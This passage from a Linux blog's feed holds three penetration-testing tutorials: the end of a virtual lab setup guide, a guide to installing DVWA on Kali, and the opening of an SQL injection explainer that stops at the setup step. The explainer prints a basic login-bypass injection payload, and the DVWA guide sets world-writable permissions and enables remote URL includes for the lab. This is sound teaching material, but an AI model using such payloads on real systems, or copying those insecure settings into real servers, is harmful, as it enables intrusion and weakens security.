<p>To get started, you will need to install <a href="https://www.virtualbox.org/wiki/Downloads" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">VirtualBox<span class="wpel-icon wpel-image wpel-icon-19"></span></a> on your current operating system. That can be Windows, Linux, or macOS. Additionally, install the <a href="https://docs.oracle.com/cd/E36500_01/E36502/html/qs-guest-additions.html" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">VirtualBox guest Addition<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, which consists of drivers and system applications that improve the performance of your virtual machines. Other advantages of guest additions include:</p>



<ul class="wp-block-list"><li>Mouse pointer integration</li><li>Shared folders</li><li>Improved video support</li><li>Generic host/guest communication channels</li><li>Seamless window management</li><li>Shared clipboard</li><li>Time synchronization</li><li>Automated logins</li></ul>



<p>After a successful install, proceed to launch the virtual box from the application menu.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="871" height="352" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-49.png" alt="" class="wp-image-3459" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-49.png 871w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-49-300x121.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-49-768x310.png 768w" sizes="auto, (max-width: 871px) 100vw, 871px" /></figure>



<h2 id="step-2-install-kali-linux-on-virtualbox" class="wp-block-heading">Step 2. Install Kali Linux on VirtualBox</h2>



<p>Once you have VirtualBox installed and running, we can start installing our virtual machines. We will begin by installing the penetration testing distribution of our choice.</p>



<p>In this post, we will use Kali Linux. However, that should not limit you from using other security operating systems like BlackArch Linux, Parrot, etc.</p>



<p>To install Kali Linux virtual machine, we will not need to download the setup ISO file and configure everything from scratch. Nowadays, Kali Linux comes packaged in several formats.</p>



<ul class="wp-block-list"><li>Bare Metal setup &#8211; used to install Kali Linux on your PC in a single boot or multi-boot setup.</li><li>Virtual machines: This option provides you with pre-configured virtual machine images to install on your virtualization software. As of writing this post, the only supported virtualization platforms are VMware and VirtualBox.</li><li>ARM setup: Used for ARM devices such as the Raspberry Pi.</li><li>Cloud setup</li><li>Container setup (Docker)</li><li>Live Boot setup</li><li>WSL (Windows Subsystem for Linux)</li></ul>



<p>In this post, we will download the Kali Linux virtual machine setup for VirtualBox from the official <a href="https://www.kali.org/get-kali/#kali-virtual-machines" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Kali Linux download page<span class="wpel-icon wpel-image wpel-icon-19"></span></a>. It is a `.ova`&nbsp;file.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="821" height="465" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-50.png" alt="" class="wp-image-3460" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-50.png 821w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-50-300x170.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-50-768x435.png 768w" sizes="auto, (max-width: 821px) 100vw, 821px" /></figure>



<p>After the download is complete, launch VirtualBox from your applications menu and follow the steps below:</p>



<ol class="squaretype-style wp-block-list"><li>Click on the <strong>File</strong> menu and select <strong>Import Appliance</strong>. Alternatively, you can use the keyboard shortcut (<strong>Ctrl + I</strong>).</li><li>A new window will open. Click on the <strong>file icon</strong>, select the `Kali Linux.ova` file you downloaded, and click <strong>Next</strong>.</li><li>In the next window, you will see all the information about the virtual machine. Select the <strong>import</strong> option at the bottom to import the virtual machine.</li></ol>



<p>After a successful import, you will see Kali Linux listed on your VirtualBox window, as shown in the image below.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="796" height="421" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-51.png" alt="" class="wp-image-3461" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-51.png 796w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-51-300x159.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-51-768x406.png 768w" sizes="auto, (max-width: 796px) 100vw, 796px" /></figure>



<p>You can tweak the settings of the virtual machine depending on your system resources. When done, click <strong>Start</strong> to boot the virtual machine. You don’t need to perform any configurations, just sit and wait till you get to the Kali Linux login screen.</p>



<p>The default credentials are:</p>



<ul class="wp-block-list"><li><strong>Username</strong>: Kali</li><li><strong>Password</strong>: Kali</li></ul>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="711" height="237" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-52.png" alt="" class="wp-image-3462" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-52.png 711w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-52-300x100.png 300w" sizes="auto, (max-width: 711px) 100vw, 711px" /></figure>



<h2 id="step-3-install-windows-10-on-virtualbox" class="wp-block-heading">Step 3. Install Windows 10 on VirtualBox</h2>



<p>Microsoft&#8217;s Windows is the most popular operating system used worldwide. As an ethical hacker, you need to understand how to exploit and find vulnerabilities on Windows systems and software. For that case, we will also need to install Windows as a virtual machine &#8211; specifically Windows 10. You can download Windows 10 ISO file from <a href="https://www.microsoft.com/en-us/software-download/windows10ISO" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Microsoft Official website<span class="wpel-icon wpel-image wpel-icon-19"></span></a>.</p>



<p>Launch VirtualBox and follow the steps below to install Windows 10</p>



<ol class="squaretype-style wp-block-list"><li>Click <strong>New</strong> on the VirtualBox window</li><li>A small window will open. Enter the name of your new operating system (for example, Windows 10). Click <strong>Next</strong>.</li><li>Enter the memory size you wish to assign your new virtual machine and click <strong>Next</strong>.</li><li>In the next window, select Create a virtual hard disk now and click <strong>Next</strong>.</li><li>Select `VDI` (VirtualBox Disk Image)</li><li>Select whether you want to use the <strong>Dynamically allocated</strong> or <strong>Fixed Size</strong> hard disk on the next screen. Click <strong>Next</strong>.</li><li>Set the storage size of your Windows 10 virtual machine. Click <strong>Create</strong>.</li></ol>



<p>That will create a Windows 10 virtual machine, as shown in the image below.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="798" height="346" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-53.png" alt="" class="wp-image-3463" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-53.png 798w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-53-300x130.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-53-768x333.png 768w" sizes="auto, (max-width: 798px) 100vw, 798px" /></figure>



<p>To install Windows 10 as a virtual machine, click the <strong>Start</strong> button on the VirtualBox window. A window will pop up and prompt you to select the Windows 10 ISO file you downloaded.</p>



<p>Click <strong>Start</strong> when done. After a few seconds, you will get to the Windows 10 installation screen.</p>



<div class="wp-block-image"><figure class="aligncenter size-full"><img loading="lazy" decoding="async" width="635" height="373" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-54.png" alt="" class="wp-image-3464" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-54.png 635w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-54-300x176.png 300w" sizes="auto, (max-width: 635px) 100vw, 635px" /></figure></div>



<p>Continue with the installation process like you were installing Windows natively on your PC.</p>



<p>When done, you can proceed to install Metasploitable.</p>



<h2 id="step-4-install-metasploitable" class="wp-block-heading">Step 4. Install Metasploitable</h2>



<p>Metasploitable is an intentionally vulnerable Linux-based system used to practice penetration testing.</p>



<p>Like the Kali Linux virtual machine, Metasploitable comes in a pre-configured virtual machine, making the whole installation easier.</p>



<p>Head over to <a href="https://sourceforge.net/projects/metasploitable/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">SourceForge<span class="wpel-icon wpel-image wpel-icon-19"></span></a> and download the Metasploitable VM.</p>



<p>After a successful download, launch VirtualBox and follow the steps below:</p>



<ol class="squaretype-style wp-block-list"><li>Click <strong>New</strong> on the VirtualBox window</li><li>Set a name for your virtualization machine (for example, `Metasploitable-2`). Click <strong>Next</strong>.</li><li>Set the memory (RAM) size. Metasploitable can run efficiently on 512 MB of RAM. Click <strong>Next</strong>.</li><li>On the next window, select <em>&#8220;Use an existing virtual hard disk file.&#8221;</em></li><li>Click the file icon and select the Metasploitable VMDK file.</li><li>Click <strong>Create</strong></li></ol>



<p>You should now see Metasploitale virtual machine on your VirtualBox window as shown in the image below:</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="798" height="383" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-55.png" alt="" class="wp-image-3465" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-55.png 798w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-55-300x144.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-55-768x369.png 768w" sizes="auto, (max-width: 798px) 100vw, 798px" /></figure>



<p>Click <strong>Start</strong> to launch Metasploitable.</p>



<p>This vulnerable machine doesn’t come with a Graphical User Interface (GUI). Therefore, when it’s fully booted, all you will see is a console. Use the following default credentials to log in:</p>



<ul class="wp-block-list"><li><strong>Username</strong>: msfadmin</li><li><strong>Password</strong>: msfadmin</li></ul>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="736" height="254" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-56.png" alt="" class="wp-image-3466" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-56.png 736w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-56-300x104.png 300w" sizes="auto, (max-width: 736px) 100vw, 736px" /></figure>



<h2 id="final-thoughts" class="wp-block-heading">Final Thoughts</h2>



<p>This post has given you a step-by-step guide to setting up a virtual penetration testing guide. You can now use Kali Linux to exploit your target machines (Windows or Metapsploitable). However, that shouldn’t be the end. You can install more vulnerable machines like the Buggy Web Application (bWAPP), Bee Box, OWASP Broken Web Apps, and much more.</p>



<p>Additionally, depending on the field you want to specialize in, you can consider adding more advanced penetration testing systems. For example, if you’re going to specialize in web application security, try using the Samurai Web Testing Framework. Did you come across any issues, or do you have any additional information for our readers? Please, feel free to let us know in the comments and we&#8217;ll get back to you as soon as we can.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/how-to-setup-a-virtual-penetration-testing-lab/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3458</post-id>	</item>
		<item>
		<title>How to Install DVWA on Kali Linux for Pentesting Practice</title>
		<link>https://nooblinux.com/how-to-install-dvwa/</link>
					<comments>https://nooblinux.com/how-to-install-dvwa/#comments</comments>
		
		<dc:creator><![CDATA[N00b Ed]]></dc:creator>
		<pubDate>Tue, 19 Oct 2021 23:08:20 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[kali]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3441</guid>

					<description><![CDATA[Anybody who wants to get started with Ethical hacking or wants to advance their skills in penetration testing will need a platform to practice whatever they learn using the various security tools available. Performing penetration tests on systems without administrative permission is considered illegal and can land you in huge problems, including a jail term [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>Anybody who wants to get started with Ethical hacking or wants to advance their skills in penetration testing will need a platform to practice whatever they learn using the various security tools available.</p>



<p class="orange-border">Performing penetration tests on systems without administrative permission is considered illegal and can land you in huge problems, including a jail term with hefty fines.</p>



<p>Practice makes perfect, but then, where do you practice hacking skills?</p>



<p>There are so many platforms available that you can use to practice penetration testing. Some of these are online platforms like <a href="https://tryhackme.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">TryHackMe<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, <a href="https://www.hackthebox.eu/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">HackTheBox<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, etc.</p>



<p>Some like <a href="https://vulnhub.com" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Vulnhub<span class="wpel-icon wpel-image wpel-icon-19"></span></a> allow you to download vulnerable virtual machines that you can exploit. This post will look at one of the platforms that you can install and set up on your Kali Linux system &#8211; The<strong><em> Damn Vulnerable Web Application (DVWA)</em></strong>.</p>



<p><strong>DVWA</strong> is a vulnerable web application developed with PHP and MYSQL.</p>



<p><strong>Yes!</strong> It’s intentionally developed to be vulnerable.</p>



<p>From my experience, it’s a great platform for both beginners and skilled since you have an option to set the desired security level (low, medium, high or impossible).</p>



<p>It’s also a great resource for web developers who wish to develop web applications with security in mind.</p>



<p class="blue-border">To learn a bit on how you can practice on it, you can check our related tutorial on <a href="https://nooblinux.com/sql-injection-exploitation-with-examples-using-dvwa/" data-wpel-link="internal">explaining SQL injections using DVWA</a></p>



<p>Let’s dive in and get started right away.</p>



<p class="purple-border"><strong>Note:</strong> This tutorial should work on other Debian-based distros, as well.</p>






<h2 id="step-1-download-dvwa" class="wp-block-heading">Step 1. Download DVWA</h2>



<p>Since we will be setting up DVWA on our localhost, launch the Terminal and navigate to the <code>/var/www/html</code> directory. That’s the location where localhost files are stored.</p>



<pre class="wp-block-preformatted promptkali">cd /var/www/html</pre>



<p>Next, we will clone the DVWA <a href="https://github.com/ethicalhack3r/DVWA" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">GitHub repository<span class="wpel-icon wpel-image wpel-icon-19"></span></a> in the <strong>/html</strong> directory using the command below.</p>



<pre class="wp-block-preformatted promptkali">sudo git clone https://github.com/ethicalhack3r/DVWA</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for kali: 
Cloning into 'DVWA'...
remote: Enumerating objects: 3398, done.
remote: Counting objects: 100% (85/85), done.
remote: Compressing objects: 100% (54/54), done.
remote: Total 3398 (delta 38), reused 58 (delta 29), pack-reused 3313
Receiving objects: 100% (3398/3398), 1.65 MiB | 4.21 MiB/s, done.
Resolving deltas: 100% (1508/1508), done.</pre>



<h2 id="step-2-configure-dvwa" class="wp-block-heading">Step 2. Configure DVWA</h2>



<p>After successfully cloning the repository, run the ls command to confirm DVWA was successfully cloned.</p>



<pre class="wp-block-preformatted promptkali">ls</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">DVWA  index.html  index.nginx-debian.html</pre>



<p>From the image above, you can see the DVWA folder. Now we need to assign <strong>Read</strong>, <strong>Write</strong> and <strong>Execute</strong> permissions (<strong>777</strong>) to this folder. Execute the command below.</p>



<pre class="wp-block-preformatted promptkali">sudo chmod -R 777 DVWA</pre>



<p>To set up and configure DVWA, we will need to navigate to the <strong>/dvwa/config</strong> directory. Use the command below:</p>



<pre class="wp-block-preformatted promptkali">cd DVWA/config</pre>



<p>Run the ls command to see the contents of the config directory.</p>



<pre class="wp-block-preformatted promptkali">ls</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">config.inc.php.dist</pre>



<p>You should see a file with the name <code>config.inc.php.dist</code>. That file contains the default DVWA configurations.</p>



<p>We will not tamper with it, and it will act as our backup if things go south. Instead, we will create a copy of this file with the name <code>config.inc.php</code> that we will use to configure DVWA. Use the command below.</p>



<pre class="wp-block-preformatted promptkali">sudo cp config.inc.php.dist config.inc.php</pre>



<p>You can use the <code>ls</code> command to check if the file was copied successfully.</p>



<pre class="wp-block-preformatted promptkali">ls</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">config.inc.php  config.inc.php.dist</pre>



<p>Now, open the <code>config.inc.php</code> file with the <code>nano</code> editor to make the necessary configurations.</p>



<pre class="wp-block-preformatted promptkali">sudo nano config.inc.php</pre>



<p>Scroll down to the point where you will see parameters like <strong>db_database</strong>, <strong>db_user</strong>, <strong>db_password</strong>, etc., as shown in the image below. Feel free to change these values, but note them down since you will require them when setting up the database. In my case, I will set <strong>db_user</strong> to <code>userDVWA</code> and <strong>db_password</strong> to <code>dvwa</code>.</p>


<div class="codeblock-title">Changed <strong>db_user</strong> and <strong>db_password</strong></div>



<pre class="wp-block-preformatted">...
$_DVWA = array();
$_DVWA[ 'db_server' ]   = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ]     = 'userDVWA';
$_DVWA[ 'db_password' ] = 'dvwa';
$_DVWA[ 'db_port'] = '3306';
...</pre>



<p>Save your changes (<strong>Ctrl + S</strong>) and Exit (<strong>Ctrl +X</strong>).</p>



<h2 id="step-3-configure-database" class="wp-block-heading">Step 3. Configure Database</h2>



<p>By default, Kali Linux comes installed with the <strong>MariaDB</strong> relational database management system. You, therefore, don’t need to install any packages. First, start the <strong>mysql service</strong> with the command below.</p>



<pre class="wp-block-preformatted promptkali">sudo systemctl start mysql</pre>



<p>You can check whether the service is running with the command:</p>



<pre class="wp-block-preformatted promptkali">systemctl status mysql</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">● mariadb.service - MariaDB 10.5.9 database server
     Loaded: loaded (/lib/systemd/system/mariadb.service; disabled; vendor p&gt;
     Active: active (running) since Mon 2021-07-26 19:13:38 EDT; 8s ago
       Docs: man:mariadbd(8)
             https://mariadb.com/kb/en/library/systemd/
    Process: 1632 ExecStartPre=/usr/bin/install -m 755 -o mysql -g root -d /&gt;
    Process: 1634 ExecStartPre=/bin/sh -c systemctl unset-environment _WSREP&gt;
    Process: 1636 ExecStartPre=/bin/sh -c [ ! -e /usr/bin/galera_recovery ] &gt;
    Process: 1699 ExecStartPost=/bin/sh -c systemctl unset-environment _WSRE&gt;
    Process: 1701 ExecStartPost=/etc/mysql/debian-start (code=exited, status&gt;
   Main PID: 1684 (mariadbd)
     Status: "Taking your SQL requests now..."
      Tasks: 15 (limit: 2287)
     Memory: 109.0M
        CPU: 1.339s
     CGroup: /system.slice/mariadb.service
             └─1684 /usr/sbin/mariadbd</pre>



<p>To log in to the database, use the command below. In our case, we are using <strong>root</strong> since that is the superuser name set on our system. If you have something different, then you will need to replace the root.</p>



<pre class="wp-block-preformatted promptkali">sudo mysql -u root -p</pre>



<p>You will be prompted for a password. However, since we haven’t set any yet, just hit Enter to continue.</p>



<pre class="wp-block-preformatted">Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 45
Server version: 10.5.9-MariaDB-1 Debian buildd-unstable

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.</pre>



<p>We will first create a new user using the credentials we set in the <strong>config.inc.php</strong> file in the DVWA directory. Execute the command below, <em>replacing the username and password</em> with your preset credentials.</p>



<pre class="wp-block-preformatted promptmariadb">create user 'userDVWA'@'127.0.0.1' identified by "dvwa";</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Query OK, 0 rows affected (0.010 sec)</pre>



<p>We now need to grant this user total privilege over the <code>dvwa</code> database. Execute the command below, <em>replacing the username and password</em> with your credentials.</p>



<pre class="wp-block-preformatted promptmariadb">grant all privileges on dvwa.* to 'userDVWA'@'127.0.0.1' identified by 'dvwa';</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Query OK, 0 rows affected (0.001 sec)</pre>



<p>That’s it! We are done configuring the database. Type <strong>Exit</strong> to close it.</p>



<h2 id="step-4-configure-apache-server" class="wp-block-heading">Step 4. Configure Apache Server</h2>



<p>The Apache web server comes installed by default on Kali Linux. Therefore, we don’t have to need to install any additional packages.</p>



<p>To get started configuring <strong>Apache2</strong>, launch the <strong>Terminal</strong> and navigate the <code>/etc/php/7.4/apache2</code> directory.</p>



<p class="neon-border"><strong>Note</strong>: As of writing this post, the PHP version available for Kali Linux is 7.4. If there is an update, running the command might raise the<strong> no such file or directory</strong> error. Therefore, you might first want to check your PHP version (<code>ls /etc/php</code>) and replace it accordingly in the command above.</p>



<pre class="wp-block-preformatted promptkali">cd /etc/php/7.4/apache2</pre>



<p>When you execute the <strong>ls</strong> command, you will see a file called <code>php.ini</code>. Execute the command below to edit this file using the <strong>nano</strong> editor.</p>



<pre class="wp-block-preformatted promptkali">sudo nano php.ini</pre>



<p>Scroll and look for the <strong>allow_url_fopen</strong> and <strong>allow_url_include</strong> lines and ensure that both are set to <code>On</code>.</p>



<p>By default, both or one of them is always set to <code>Off</code>.</p>



<pre class="wp-block-preformatted">; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-fopen
allow_url_fopen = On

; Whether to allow include/require to open URLs (like http:// or ftp://) as &gt;
; http://php.net/allow-url-include
allow_url_include = On</pre>



<p>Save your changes (<strong>Ctrl +S</strong>) and Exit (<strong>Ctrl + X</strong>).</p>



<p>Proceed to start the apache webserver service with the command below. You can check whether the service is running by running the status command.</p>



<pre class="wp-block-preformatted promptkali">sudo systemctl start apache2
systemctl status apache2</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">● apache2.service - The Apache HTTP Server                                   
     Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor p&gt;
     Active: active (running) since Mon 2021-07-26 20:25:48 EDT; 5s ago
       Docs: https://httpd.apache.org/docs/2.4/
    Process: 2245 ExecStart=/usr/sbin/apachectl start (code=exited, status=0&gt;
   Main PID: 2256 (apache2)
      Tasks: 6 (limit: 2287)
     Memory: 17.8M
        CPU: 82ms
     CGroup: /system.slice/apache2.service
             ├─2256 /usr/sbin/apache2 -k start
             ├─2258 /usr/sbin/apache2 -k start
             ├─2259 /usr/sbin/apache2 -k start
             ├─2260 /usr/sbin/apache2 -k start
             ├─2261 /usr/sbin/apache2 -k start
             └─2262 /usr/sbin/apache2 -k start
</pre>



<h2 id="step-5-open-dvwa-on-your-web-browser" class="wp-block-heading">Step 5. Open DVWA on Your Web Browser</h2>



<p>Up to this point, we have configured DVWA, Database, and the Apache webserver.</p>



<p>We can now proceed to start the DVWA application. Launch your Web browser and type the URL below.</p>



<pre class="wp-block-preformatted">127.0.0/DVWA</pre>



<p>This action will redirect us to the DVWA <code>setup.php</code> page at <code>http://127.0.0.1/DVWA/setup.php</code>.</p>



<p>When you scroll down, you will see some errors in red color. <strong>Don’t panic!</strong> Click the <strong>Create / Reset Database</strong> button at the end of the page.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="848" height="329" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-27.png" alt="" class="wp-image-3444" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-27.png 848w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-27-300x116.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-27-768x298.png 768w" sizes="auto, (max-width: 848px) 100vw, 848px" /></figure>



<p>That will create and configure the DVWA database. After a few seconds, you will be redirected to the DVWA login page.</p>



<p>Use the <em>default credentials</em> below to log in.</p>



<ul class="wp-block-list"><li><strong>Username</strong>: admin</li><li><strong>Password</strong>: password</li></ul>



<div class="wp-block-image"><figure class="aligncenter size-full"><img loading="lazy" decoding="async" width="523" height="362" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-28.png" alt="" class="wp-image-3445" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-28.png 523w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-28-300x208.png 300w" sizes="auto, (max-width: 523px) 100vw, 523px" /></figure></div>



<p>After successfully logging in, you will be greeted by the DVWA homepage. On the left side, you can see all the available vulnerable pages you can use to practice.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="723" height="440" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-29.png" alt="" class="wp-image-3446" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-29.png 723w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-29-300x183.png 300w" sizes="auto, (max-width: 723px) 100vw, 723px" /></figure>



<p>You will also see the DVWA Security option that enables you to choose the security level depending on your skills.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="566" height="122" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-30.png" alt="" class="wp-image-3447" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-30.png 566w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-30-300x65.png 300w" sizes="auto, (max-width: 566px) 100vw, 566px" /></figure>



<p>That’s it! Now, you can start testing out your web penetration skills on the DVWA.</p>



<h2 id="conclusion" class="wp-block-heading">Conclusion</h2>



<p>DVWA is a great platform for both beginners and advanced users because of its multi-layered security support. I believe this post has given you a detailed guide on how to set up DVWA on your Kali Linux system.</p>



<p>If you faced issues or errors in any of the steps above, please feel free to let us know in the comments section or by <a href="https://nooblinux.com/contact/" data-wpel-link="internal">contacting us</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/how-to-install-dvwa/feed/</wfw:commentRss>
			<slash:comments>3</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3441</post-id>	</item>
		<item>
		<title>SQL Injection Exploitation Explanation &#038; Examples Using DVWA</title>
		<link>https://nooblinux.com/sql-injection-exploitation-explanation-examples-using-dvwa/</link>
					<comments>https://nooblinux.com/sql-injection-exploitation-explanation-examples-using-dvwa/#respond</comments>
		
		<dc:creator><![CDATA[N00b Ed]]></dc:creator>
		<pubDate>Tue, 19 Oct 2021 22:41:17 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[sql]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3424</guid>

					<description><![CDATA[This post will explain SQL injection, the impact of successful SQL attacks, examples of SQL injection techniques, and how to prevent SQL injection. There are several applications that you can use to learn SQL injection. In this particular post, we will use the Damn Vulnerable Web Application (DVWA). It’s a web app developed in PHP [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>This post will explain SQL injection, the impact of successful SQL attacks, examples of SQL injection techniques, and how to prevent SQL injection.</p>



<p>There are several applications that you can use to learn SQL injection.</p>



<p>In this particular post, we will use the <a href="https://dvwa.co.uk/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Damn Vulnerable Web Application (DVWA)<span class="wpel-icon wpel-image wpel-icon-19"></span></a>. It’s a web app developed in PHP and MySQL and intentionally made to be vulnerable.</p>



<p>If you don’t have DVWA installed yet, feel free to check out our post on <a href="https://nooblinux.com/how-to-install-dvwa/" data-wpel-link="internal">How to set up DVWA on Kali Linux</a>.</p>






<h3 id="what-is-sql-injection-sqli" class="wp-block-heading">What is SQL Injection (SQLI)?</h3>



<p>SQL injection, commonly referred to as SQLI, is an attack where an application allows unauthorized users to send SQL queries to the database and gain access to information they shouldn’t.</p>



<p class="orange-border">In most cases, hackers use SQL injection to retrieve user/company data, modify database contents or delete the entire database, thus bringing down the whole web system.<br><br>In fatal cases, attackers can escalate the SQL injection attack thus, gaining access to the entire underlying back-end infrastructure, server or even perform a Denial of Service attack (DoS).</p>



<p>As of 2021, <a href="https://owasp.org/www-project-top-ten/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">OWASP Top 10<span class="wpel-icon wpel-image wpel-icon-19"></span></a> is a standard awareness framework for developers, and web application security listed Injection (SQL, NoSQL, OS, and LDAP) as the number one vulnerability.</p>



<h3 id="the-impact-of-a-successful-sql-injection-attack" class="wp-block-heading">The Impact of a Successful SQL Injection Attack</h3>



<p>SQL injection is one of the popular attacks behind the data leaks that we see on the internet and the Dark Web. That includes information like user emails, usernames, passwords, and even credit card information. This attack leads to reputational damage and loss of revenue in regulatory fines. In other cases, attackers can escalate the SQL injection attack and create a persistent backdoor. That allows them to compromise the system for a long time and remain unnoticed.</p>



<h3 id="how-an-sql-injection-attack-works" class="wp-block-heading">How an SQL Injection Attack Works</h3>



<p>Think of a website with a simple login form with two fields &#8211; a username, password, and a Login or Submit button. After you enter the required credentials, when you hit the Submit button, the query sent to the database has this syntax:</p>



<pre class="wp-block-preformatted">SELECT username, password FROM usersdb WHERE username=$user;</pre>



<p>E.g., If your name is JohnDoe,</p>



<pre class="wp-block-preformatted">SELECT username, password FROM usersdb WHERE username='Johndoe';</pre>



<p>Anyone with a hacker’s mindset can decide to manipulate the application by entering a value different from the username. This value will be an SQL query to reveal or modify the database’s contents. For example, if the attacker entered abc&#8217; OR 1=1<em>&#8211;&#8216;</em> instead of the actual username, the resulting SQL query would look like this:</p>



<pre class="wp-block-preformatted">SELECT username, password FROM usersdb WHERE username='abc' OR 1=1--';</pre>



<p>Let’s dissect this input <code>abc'</code> OR <code>1=1--'</code> and see how it manipulates the database.</p>



<ul class="wp-block-list"><li><code>abc'</code>: Here we just guessed any username but we added a single quote &#8216; at the end. The single quote closes our username field, and the following part becomes an SQL query.</li><li><code>OR</code> is a conjunction in SQL, and 1=1 will always be true. Therefore, no matter what you put in the username field, the query will always be True and return all the records of the <strong>userdb</strong> database.</li><li>The <code>--'</code>(double dash) is a comment in SQL. It tells the SQL server not to execute any query past this point. In this particular example, we are using double dash to comment out errors that would arise because of the trailing single quote at the end. You can also use <code>#</code> instead of <code>--</code>. E.g <code>abc' 1=1#</code></li></ul>



<p>I believe up to this point; you have a good understanding of what SQL injection is. Let’s dive in and exploit actual SQL injection queries on our DVWA.</p>



<h3 id="setup-dvwa-for-sql-injection" class="wp-block-heading">Setup DVWA for SQL Injection</h3>



<p>As stated above, if you haven’t configured DVWA on your system, please check out our post on <a href="https://nooblinux.com/how-to-install-dvwa/" data-wpel-link="internal">How to set up DVWA on Kali Linux</a>, which gives you a step-by-step procedure.</p>



<p>If you set up DVWA on your localhost, start Apache Web server and MySQl using the commands below:</p>



<pre class="wp-block-preformatted prompt">sudo systemctl start apache2</pre>



<pre class="wp-block-preformatted prompt">systemctl start mysql</pre>



